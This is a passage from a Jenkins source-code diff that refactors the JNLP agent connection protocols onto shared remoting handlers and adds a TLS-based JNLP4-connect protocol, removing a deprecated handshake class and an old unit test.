OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.slaves; + +import hudson.Extension; +import hudson.init.Terminator; +import hudson.model.Computer; +import java.io.IOException; +import java.util.logging.Level; +import java.util.logging.Logger; +import org.jenkinsci.remoting.protocol.IOHub; + +/** + * Singleton holder of {@link IOHub} + * + * @since FIXME + */ +@Extension +public class IOHubProvider { + /** + * Our logger. + */ + private static final Logger LOGGER = Logger.getLogger(IOHubProvider.class.getName()); + /** + * Our hub. + */ + private IOHub hub; + + public IOHubProvider() { + try { + hub = IOHub.create(Computer.threadPoolForRemoting); + } catch (IOException e) { + LOGGER.log(Level.SEVERE, "Failed to launch IOHub", e); + this.hub = null; + } + } + + public IOHub getHub() { + return hub; + } + + @Terminator + public void cleanUp() throws IOException { + if (hub != null) { + hub.close(); + hub = null; + } + } + +} diff --git a/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java b/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java index 7865c88526..369bd122dc 100644 --- a/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java +++ b/core/src/main/java/jenkins/slaves/JnlpAgentReceiver.java @@ -2,15 +2,15 @@ package jenkins.slaves; import hudson.ExtensionList; import hudson.ExtensionPoint; +import hudson.Util; import hudson.model.Slave; -import jenkins.model.Jenkins; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; - -import java.io.IOException; -import java.util.Properties; +import java.security.SecureRandom; +import javax.annotation.Nonnull; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionStateListener; /** - * Receives incoming agents connecting through {@link JnlpSlaveAgentProtocol2}. + * Receives incoming agents connecting through {@link JnlpSlaveAgentProtocol2}, {@link JnlpSlaveAgentProtocol3}, {@link JnlpSlaveAgentProtocol4}. * *

      * This is useful to establish the communication with other JVMs and use them @@ -19,56 +19,42 @@ import java.util.Properties; * @author Kohsuke Kawaguchi * @since 1.561 */ -public abstract class JnlpAgentReceiver implements ExtensionPoint { - - /** - * Called after the client has connected. - * - *

      - * The implementation must do the following in the order: - * - *

        - *
      1. Check if the implementation recognizes and claims the given name. - * If not, return false to let other {@link JnlpAgentReceiver} have a chance to - * take this connection. - * - *
      2. If you claim the name but the connection is refused, call - * {@link JnlpSlaveHandshake#error(String)} to refuse the client, and return true. - * The connection will be shut down and the client will report this error to the user. - * - *
      3. If you claim the name and the connection is OK, call - * {@link JnlpSlaveHandshake#success(Properties)} to accept the client. - * - *
      4. Proceed to build a channel with {@link JnlpSlaveHandshake#createChannelBuilder(String)} - * and return true - * - * @param name - * Name of the incoming JNLP agent. All {@link JnlpAgentReceiver} shares a single namespace - * of names. The implementation needs to be able to tell which name belongs to them. - * - * @param handshake - * Encapsulation of the interaction with the incoming JNLP agent. - * - * @return - * true if the name was claimed and the handshake was completed (either successfully or unsuccessfully) - * false if the name was not claimed. Other {@link JnlpAgentReceiver}s will be called to see if they - * take this connection. - * - * @throws Exception - * Any exception thrown from this method will fatally terminate the connection. - */ - public abstract boolean handle(String name, JnlpServerHandshake handshake) throws IOException, InterruptedException; +public abstract class JnlpAgentReceiver extends JnlpConnectionStateListener implements ExtensionPoint { - /** - * @deprecated - * Use {@link #handle(String, JnlpServerHandshake)} - */ - public boolean handle(String name, JnlpSlaveHandshake handshake) throws IOException, InterruptedException { - return handle(name,(JnlpServerHandshake)handshake); - } + private static final SecureRandom secureRandom = new SecureRandom(); + public static final JnlpClientDatabase DATABASE = new JnlpAgentDatabase(); public static ExtensionList all() { return ExtensionList.lookup(JnlpAgentReceiver.class); } + + public static boolean exists(String clientName) { + for (JnlpAgentReceiver receiver : all()) { + if (receiver.owns(clientName)) { + return true; + } + } + return false; + } + + protected abstract boolean owns(String clientName); + + public static String generateCookie() { + byte[] cookie = new byte[32]; + secureRandom.nextBytes(cookie); + return Util.toHexString(cookie); + } + + private static class JnlpAgentDatabase extends JnlpClientDatabase { + @Override + public boolean exists(String clientName) { + return JnlpAgentReceiver.exists(clientName); + } + + @Override + public String getSecretOf(@Nonnull String clientName) { + return JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(clientName); + } + } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java index d0759dbd6b..e351b93945 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol.java @@ -1,32 +1,23 @@ package jenkins.slaves; -import hudson.AbortException; import hudson.Extension; +import hudson.ExtensionList; import hudson.Util; import hudson.model.Computer; -import hudson.remoting.Channel; -import hudson.remoting.Channel.Listener; -import hudson.remoting.ChannelBuilder; -import hudson.remoting.Engine; -import hudson.slaves.SlaveComputer; +import java.io.IOException; +import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import java.util.logging.Logger; +import javax.annotation.Nonnull; +import javax.inject.Inject; import jenkins.AgentProtocol; import jenkins.model.Jenkins; -import jenkins.security.ChannelConfigurator; import jenkins.security.HMACConfidentialKey; import org.jenkinsci.Symbol; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import javax.inject.Inject; -import java.io.BufferedWriter; -import java.io.DataInputStream; -import java.io.IOException; -import java.io.OutputStream; -import java.io.OutputStreamWriter; -import java.io.PrintWriter; -import java.net.Socket; -import java.util.logging.Level; -import java.util.logging.Logger; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol1Handler; /** * {@link AgentProtocol} that accepts connection from agents. @@ -56,10 +47,29 @@ import java.util.logging.Logger; * @author Kohsuke Kawaguchi * @since 1.467 */ -@Extension @Symbol("jnlp") +@Extension +@Symbol("jnlp") public class JnlpSlaveAgentProtocol extends AgentProtocol { + /** + * Our logger + */ + private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol.class.getName()); + /** + * This secret value is used as a seed for agents. + */ + public static final HMACConfidentialKey SLAVE_SECRET = + new HMACConfidentialKey(JnlpSlaveAgentProtocol.class, "secret"); + + private NioChannelSelector hub; + + private JnlpProtocol1Handler handler; + @Inject - NioChannelSelector hub; + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol1Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } /** * {@inheritDoc} @@ -71,7 +81,7 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { @Override public String getName() { - return "JNLP-connect"; + return handler.isEnabled() ? handler.getName() : null; } /** @@ -84,95 +94,11 @@ public class JnlpSlaveAgentProtocol extends AgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler(hub.getHub(),socket).run(); + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - protected static class Handler extends JnlpServerHandshake { - - /** - * @deprecated as of 1.559 - * Use {@link #Handler(NioChannelHub, Socket)} - */ - @Deprecated - public Handler(Socket socket) throws IOException { - this(null,socket); - } - - public Handler(NioChannelHub hub, Socket socket) throws IOException { - super(hub, Computer.threadPoolForRemoting, socket); - } - - protected void run() throws IOException, InterruptedException { - final String secret = in.readUTF(); - final String nodeName = in.readUTF(); - - if(!SLAVE_SECRET.mac(nodeName).equals(secret)) { - error("Unauthorized access"); - return; - } - - - SlaveComputer computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - if(computer==null) { - error("No such agent: "+nodeName); - return; - } - - if(computer.getChannel()!=null) { - error(nodeName+" is already connected to this master. Rejecting this connection."); - return; - } - - out.println(Engine.GREETING_SUCCESS); - - jnlpConnect(computer); - } - - protected Channel jnlpConnect(SlaveComputer computer) throws InterruptedException, IOException { - final String nodeName = computer.getName(); - final OutputStream log = computer.openLogFile(); - PrintWriter logw = new PrintWriter(log,true); - logw.println("JNLP agent connected from "+ socket.getInetAddress()); - - try { - ChannelBuilder cb = createChannelBuilder(nodeName); - - for (ChannelConfigurator cc : ChannelConfigurator.all()) { - cc.onChannelBuilding(cb, computer); - } - - computer.setChannel(cb.withHeaderStream(log).build(socket), log, - new Listener() { - @Override - public void onClosed(Channel channel, IOException cause) { - if(cause!=null) - LOGGER.log(Level.WARNING, Thread.currentThread().getName() + " for " + nodeName + " terminated", cause); - try { - socket.close(); - } catch (IOException e) { - // ignore - } - } - }); - return computer.getChannel(); - } catch (AbortException e) { - logw.println(e.getMessage()); - logw.println("Failed to establish the connection with the agent"); - throw e; - } catch (IOException e) { - logw.println("Failed to establish the connection with the agent " + nodeName); - e.printStackTrace(logw); - throw e; - } - } - } - - private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol.class.getName()); - - /** - * This secret value is used as a seed for agents. - */ - public static final HMACConfidentialKey SLAVE_SECRET = new HMACConfidentialKey(JnlpSlaveAgentProtocol.class,"secret"); /** * A/B test turning off this protocol by default. diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java index 1a2bb649dc..66bc07dc9d 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol2.java @@ -1,13 +1,19 @@ package jenkins.slaves; import hudson.Extension; -import org.jenkinsci.Symbol; -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import java.io.ByteArrayInputStream; +import hudson.ExtensionList; +import hudson.model.Computer; import java.io.IOException; import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import javax.annotation.Nonnull; +import javax.inject.Inject; +import jenkins.AgentProtocol; +import org.jenkinsci.Symbol; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol2Handler; /** * {@link JnlpSlaveAgentProtocol} Version 2. @@ -20,11 +26,23 @@ import java.net.Socket; * @author Kohsuke Kawaguchi * @since 1.467 */ -@Extension @Symbol("jnlp2") -public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { +@Extension +@Symbol("jnlp2") +public class JnlpSlaveAgentProtocol2 extends AgentProtocol { + private NioChannelSelector hub; + + private JnlpProtocol2Handler handler; + + @Inject + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol2Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } + @Override public String getName() { - return "JNLP2-connect"; + return handler.isEnabled() ? handler.getName() : null; } /** @@ -45,43 +63,9 @@ public class JnlpSlaveAgentProtocol2 extends JnlpSlaveAgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler2(hub.getHub(),socket).run(); + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - protected static class Handler2 extends Handler { - /** - * @deprecated as of 1.559 - * Use {@link #Handler2(NioChannelHub, Socket)} - */ - @Deprecated - public Handler2(Socket socket) throws IOException { - super(socket); - } - - public Handler2(NioChannelHub hub, Socket socket) throws IOException { - super(hub, socket); - } - - /** - * Handles JNLP agent connection request (v2 protocol) - */ - @Override - protected void run() throws IOException, InterruptedException { - request.load(new ByteArrayInputStream(in.readUTF().getBytes("UTF-8"))); - - final String nodeName = request.getProperty("Node-Name"); - - for (JnlpAgentReceiver recv : JnlpAgentReceiver.all()) { - try { - if (recv.handle(nodeName,this)) - return; - } catch (AbstractMethodError e) { - if (recv.handle(nodeName,new JnlpSlaveHandshake(this))) - return; - } - } - - error("JNLP2-connect: rejected connection for node: " + nodeName); - } - } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java index e0f5c76166..50779ee9da 100644 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol3.java @@ -1,43 +1,45 @@ package jenkins.slaves; import edu.umd.cs.findbugs.annotations.SuppressFBWarnings; -import hudson.AbortException; import hudson.Extension; +import hudson.ExtensionList; import hudson.Util; import hudson.model.Computer; -import hudson.remoting.Channel; -import hudson.remoting.ChannelBuilder; -import hudson.slaves.SlaveComputer; +import java.io.IOException; +import java.net.Socket; +import java.util.Collections; +import java.util.HashMap; +import javax.annotation.Nonnull; +import javax.inject.Inject; import jenkins.AgentProtocol; import jenkins.model.Jenkins; -import jenkins.security.ChannelConfigurator; -import org.jenkinsci.remoting.engine.JnlpServer3Handshake; -import org.jenkinsci.remoting.nio.NioChannelHub; +import jenkins.util.SystemProperties; +import org.jenkinsci.remoting.engine.JnlpClientDatabase; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol3Handler; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; -import javax.inject.Inject; -import java.io.IOException; -import java.io.OutputStream; -import java.io.PrintWriter; -import java.net.Socket; -import java.util.logging.Level; -import java.util.logging.Logger; -import jenkins.util.SystemProperties; - /** * Master-side implementation for JNLP3-connect protocol. * - *

        @see {@link org.jenkinsci.remoting.engine.JnlpProtocol3} for more details. + *

        @see {@link org.jenkinsci.remoting.engine.JnlpProtocol3Handler} for more details. * - * @author Akshay Dayal * @since 1.XXX */ -// TODO @Deprecated once JENKINS-36871 is merged +@Deprecated @Extension public class JnlpSlaveAgentProtocol3 extends AgentProtocol { + private NioChannelSelector hub; + + private JnlpProtocol3Handler handler; + @Inject - NioChannelSelector hub; + public void setHub(NioChannelSelector hub) { + this.hub = hub; + this.handler = new JnlpProtocol3Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, + hub.getHub(), true); + } /** * {@inheritDoc} @@ -52,7 +54,7 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { // we only want to force the protocol off for users that have explicitly banned it via system property // everyone on the A/B test will just have the opt-in flag toggled // TODO strip all this out and hardcode OptIn==TRUE once JENKINS-36871 is merged - return forceEnabled != Boolean.FALSE ? "JNLP3-connect" : null; + return forceEnabled != Boolean.FALSE ? handler.getName() : null; } /** @@ -65,76 +67,11 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { @Override public void handle(Socket socket) throws IOException, InterruptedException { - new Handler(hub.getHub(), socket).run(); - } - - static class Handler extends JnlpServer3Handshake { - private SlaveComputer computer; - private PrintWriter logw; - private OutputStream log; - - public Handler(NioChannelHub hub, Socket socket) throws IOException { - super(hub, Computer.threadPoolForRemoting, socket); - } - - protected void run() throws IOException, InterruptedException { - try { - Channel channel = connect(); - - computer.setChannel(channel, log, - new Channel.Listener() { - @Override - public void onClosed(Channel channel, IOException cause) { - if (cause != null) - LOGGER.log(Level.WARNING, - Thread.currentThread().getName() + " for + " + - getNodeName() + " terminated", cause); - try { - socket.close(); - } catch (IOException e) { - // Do nothing. - } - } - }); - } catch (AbortException e) { - logw.println(e.getMessage()); - logw.println("Failed to establish the connection with the agent"); - throw e; - } catch (IOException e) { - logw.println("Failed to establish the connection with the agent " + getNodeName()); - e.printStackTrace(logw); - throw e; - } - } - - @Override - public ChannelBuilder createChannelBuilder(String nodeName) { - log = computer.openLogFile(); - logw = new PrintWriter(log,true); - logw.println("JNLP agent connected from " + socket.getInetAddress()); - - ChannelBuilder cb = super.createChannelBuilder(nodeName).withHeaderStream(log); - - for (ChannelConfigurator cc : ChannelConfigurator.all()) { - cc.onChannelBuilding(cb, computer); - } - - return cb; - } - - @Override - protected String getNodeSecret(String nodeName) throws Failure { - computer = (SlaveComputer) Jenkins.getInstance().getComputer(nodeName); - if (computer == null) { - throw new Failure("Agent trying to register for invalid node: " + nodeName); - } - return computer.getJnlpMac(); - } - + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); } - private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol3.class.getName()); - /** * Flag to control the activation of JNLP3 protocol. * @@ -152,6 +89,9 @@ public class JnlpSlaveAgentProtocol3 extends AgentProtocol { forceEnabled = SystemProperties.optBoolean(JnlpSlaveAgentProtocol3.class.getName() + ".enabled"); if (forceEnabled != null) { ENABLED = forceEnabled; + } else { + byte hash = Util.fromHexString(Jenkins.getActiveInstance().getLegacyInstanceId())[0]; + ENABLED = (hash % 10) == 0; } } } diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java new file mode 100644 index 0000000000..3f5fba0d2f --- /dev/null +++ b/core/src/main/java/jenkins/slaves/JnlpSlaveAgentProtocol4.java @@ -0,0 +1,201 @@ +/* + * The MIT License + * + * Copyright (c) 2016, CloudBees, Inc. + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +package jenkins.slaves; + +import hudson.Extension; +import hudson.ExtensionList; +import hudson.model.Computer; +import java.io.IOException; +import java.net.Socket; +import java.security.KeyManagementException; +import java.security.KeyStore; +import java.security.KeyStoreException; +import java.security.NoSuchAlgorithmException; +import java.security.UnrecoverableKeyException; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.security.interfaces.RSAPrivateKey; +import java.util.Collections; +import java.util.HashMap; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.inject.Inject; +import javax.net.ssl.KeyManagerFactory; +import javax.net.ssl.SSLContext; +import javax.net.ssl.TrustManager; +import jenkins.AgentProtocol; +import jenkins.model.identity.InstanceIdentityProvider; +import org.jenkinsci.remoting.engine.JnlpConnectionState; +import org.jenkinsci.remoting.engine.JnlpProtocol4Handler; +import org.jenkinsci.remoting.protocol.IOHub; +import org.jenkinsci.remoting.protocol.cert.PublicKeyMatchingX509ExtendedTrustManager; + +/** + * Master-side implementation for JNLP4-connect protocol. + * + *

        @see {@link org.jenkinsci.remoting.engine.JnlpProtocol4Handler} for more details. + * + * @since FIXME + */ +@Extension +public class JnlpSlaveAgentProtocol4 extends AgentProtocol { + /** + * Our logger. + */ + private static final Logger LOGGER = Logger.getLogger(JnlpSlaveAgentProtocol4.class.getName()); + + /** + * Our keystore. + */ + private final KeyStore keyStore; + /** + * Our trust manager. + */ + private final TrustManager trustManager; + + /** + * The provider of our {@link IOHub} + */ + private IOHubProvider hub; + + /** + * Our handler. + */ + private JnlpProtocol4Handler handler; + /** + * Our SSL context. + */ + private SSLContext sslContext; + + /** + * Constructor. + * + * @throws KeyStoreException if things go wrong. + * @throws KeyManagementException if things go wrong. + * @throws IOException if things go wrong. + */ + public JnlpSlaveAgentProtocol4() throws KeyStoreException, KeyManagementException, IOException { + // prepare our local identity and certificate + X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + + // prepare our keyStore so we can provide our authentication + keyStore = KeyStore.getInstance("JKS"); + char[] password = "password".toCharArray(); + try { + keyStore.load(null, password); + } catch (IOException e) { + throw new IllegalStateException("Specification says this should not happen as we are not doing I/O", e); + } catch (NoSuchAlgorithmException | CertificateException e) { + throw new IllegalStateException("Specification says this should not happen as we are not loading keys", e); + } + keyStore.setKeyEntry("jenkins", privateKey, password, + new X509Certificate[]{identityCertificate}); + + // prepare our keyManagers to provide to the SSLContext + KeyManagerFactory kmf; + try { + kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm()); + kmf.init(keyStore, password); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("Specification says the default algorithm should exist", e); + } catch (UnrecoverableKeyException e) { + throw new IllegalStateException("The key was just inserted with this exact password", e); + } + + // prepare our trustManagers + trustManager = new PublicKeyMatchingX509ExtendedTrustManager(false, true); + TrustManager[] trustManagers = {trustManager}; + + // prepare our SSLContext + try { + sslContext = SSLContext.getInstance("TLS"); + } catch (NoSuchAlgorithmException e) { + throw new IllegalStateException("Java runtime specification requires support for TLS algorithm", e); + } + sslContext.init(kmf.getKeyManagers(), trustManagers, null); + } + + /** + * Inject the {@link IOHubProvider} + * + * @param hub the hub provider. + */ + @Inject + public void setHub(IOHubProvider hub) { + this.hub = hub; + handler = new JnlpProtocol4Handler(JnlpAgentReceiver.DATABASE, Computer.threadPoolForRemoting, hub.getHub(), + sslContext, false, true); + } + + /** + * {@inheritDoc} + */ + @Override + public boolean isOptIn() { + return true; + } + + /** + * {@inheritDoc} + */ + @Override + public String getDisplayName() { + return Messages.JnlpSlaveAgentProtocol4_displayName(); + } + + /** + * {@inheritDoc} + */ + @Override + public String getName() { + return handler.getName(); + } + + /** + * {@inheritDoc} + */ + @Override + public void handle(Socket socket) throws IOException, InterruptedException { + try { + X509Certificate certificate = (X509Certificate) keyStore.getCertificate("jenkins"); + if (certificate == null + || certificate.getNotAfter().getTime() < System.currentTimeMillis() + TimeUnit.DAYS.toMillis(1)) { + LOGGER.log(Level.INFO, "Updating {0} TLS certificate to retain validity", getName()); + X509Certificate identityCertificate = InstanceIdentityProvider.RSA.getCertificate(); + RSAPrivateKey privateKey = InstanceIdentityProvider.RSA.getPrivateKey(); + char[] password = "password".toCharArray(); + keyStore.setKeyEntry("jenkins", privateKey, password, new X509Certificate[]{identityCertificate}); + } + } catch (KeyStoreException e) { + LOGGER.log(Level.FINEST, "Ignored", e); + } + handler.handle(socket, + Collections.singletonMap(JnlpConnectionState.COOKIE_KEY, JnlpAgentReceiver.generateCookie()), + ExtensionList.lookup(JnlpAgentReceiver.class)); + } + +} diff --git a/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java b/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java deleted file mode 100644 index 1b67b98ecf..0000000000 --- a/core/src/main/java/jenkins/slaves/JnlpSlaveHandshake.java +++ /dev/null @@ -1,22 +0,0 @@ -package jenkins.slaves; - -import org.jenkinsci.remoting.engine.JnlpServerHandshake; -import org.jenkinsci.remoting.nio.NioChannelHub; - -import java.io.IOException; -import java.net.Socket; -import java.util.concurrent.ExecutorService; - -/** - * Palette of objects to talk to the incoming JNLP agent connection. - * - * @author Kohsuke Kawaguchi - * @since 1.561 - * @deprecated as of 1.609 - * Use {@link JnlpServerHandshake} - */ -public class JnlpSlaveHandshake extends JnlpServerHandshake { - /*package*/ JnlpSlaveHandshake(JnlpServerHandshake rhs) { - super(rhs); - } -} diff --git a/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly new file mode 100644 index 0000000000..31c51e4ce9 --- /dev/null +++ b/core/src/main/resources/jenkins/slaves/JnlpSlaveAgentProtocol4/description.jelly @@ -0,0 +1,4 @@ + + + ${%A TLS secured connection between the master and the agent performed by TLS upgrade of the socket.} + diff --git a/core/src/main/resources/jenkins/slaves/Messages.properties b/core/src/main/resources/jenkins/slaves/Messages.properties index c66841c308..7085843d8b 100644 --- a/core/src/main/resources/jenkins/slaves/Messages.properties +++ b/core/src/main/resources/jenkins/slaves/Messages.properties @@ -23,3 +23,4 @@ JnlpSlaveAgentProtocol.displayName=Java Web Start Agent Protocol/1 JnlpSlaveAgentProtocol2.displayName=Java Web Start Agent Protocol/2 JnlpSlaveAgentProtocol3.displayName=Java Web Start Agent Protocol/3 +JnlpSlaveAgentProtocol4.displayName=Java Web Start Agent Protocol/4 diff --git a/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java b/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java deleted file mode 100644 index a093f8ec25..0000000000 --- a/core/src/test/java/jenkins/slaves/DefaultJnlpSlaveReceiverTest.java +++ /dev/null @@ -1,145 +0,0 @@ -package jenkins.slaves; - -import static org.junit.Assert.assertFalse; -import static org.junit.Assert.assertTrue; -import static org.junit.Assert.fail; -import static org.mockito.Mockito.any; -import static org.mockito.Mockito.verify; -import static org.mockito.Mockito.when; -import static org.powermock.api.mockito.PowerMockito.mockStatic; - -import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; -import hudson.remoting.Channel; -import hudson.slaves.SlaveComputer; -import jenkins.model.Jenkins; - -import java.io.IOException; -import java.util.Properties; -import java.util.concurrent.ExecutionException; -import java.util.concurrent.Future; -import java.util.concurrent.TimeUnit; -import java.util.concurrent.TimeoutException; -import org.junit.Before; -import org.junit.Test; -import org.junit.runner.RunWith; -import org.mockito.Mock; -import org.mockito.MockitoAnnotations; -import org.powermock.core.classloader.annotations.PrepareForTest; -import org.powermock.modules.junit4.PowerMockRunner; - -@RunWith(PowerMockRunner.class) -@PrepareForTest(Jenkins.class) -public class DefaultJnlpSlaveReceiverTest { - - @Mock private Jenkins mockJenkins; - @Mock private SlaveComputer mockComputer; - @Mock private Channel mockChannel; - @Mock private JnlpSlaveAgentProtocol2.Handler mockHandshake; - @Mock private Future mockFuture; - - private DefaultJnlpSlaveReceiver receiver; - - @Before - public void setUp() throws Exception { - MockitoAnnotations.initMocks(this); - - mockStatic(Jenkins.class); - when(Jenkins.getInstance()).thenReturn(mockJenkins); - - receiver = new DefaultJnlpSlaveReceiver(); - } - - @Test - public void testHandle() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(null); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockHandshake.jnlpConnect(mockComputer)).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty("Secret-Key")).thenReturn("mock-secret"); - when(mockComputer.getJnlpMac()).thenReturn("mock-secret"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockHandshake).success(any(Properties.class)); - verify(mockChannel).setProperty(any(String.class), any(String.class)); - } - - @Test - public void testHandleWithInvalidNode() throws Exception { - when(mockJenkins.getComputer("bogus-node")).thenReturn(null); - - assertFalse(receiver.handle("bogus-node", mockHandshake)); - } - - @Test - public void testHandleTakeover() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockHandshake.jnlpConnect(mockComputer)).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty("Secret-Key")).thenReturn("mock-secret"); - when(mockComputer.getJnlpMac()).thenReturn("mock-secret"); - - assertTrue(receiver.handle("node", mockHandshake)); - verify(mockFuture).get(15, TimeUnit.SECONDS); - verify(mockHandshake).success(any(Properties.class)); - verify(mockChannel).setProperty(any(String.class), any(String.class)); - } - - @Test - public void testHandleTakeoverFailedDisconnect() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockFuture.get(15, TimeUnit.SECONDS)).thenThrow(new ExecutionException(null)); - - try { - receiver.handle("node", mockHandshake); - fail(); - } catch (IOException e) { - // good - } - } - - @Test - public void testHandleTakeoverTimedOut() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn("some cookie"); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - when(mockComputer.disconnect(any(ConnectionFromCurrentPeer.class))).thenReturn(mockFuture); - when(mockFuture.get(15, TimeUnit.SECONDS)).thenThrow(new TimeoutException()); - - try { - receiver.handle("node", mockHandshake); - fail(); - } catch (IOException e) { - // good - } - } - - @Test - public void testHandleAttemptTakeoverWithNullCookie() throws Exception { - when(mockJenkins.getComputer("node")).thenReturn(mockComputer); - when(mockComputer.getChannel()).thenReturn(mockChannel); - when(mockHandshake.getRequestProperty(any(String.class))).thenReturn(null); - when(mockChannel.getProperty(any(String.class))).thenReturn("some cookie"); - - assertTrue(receiver.handle("node", 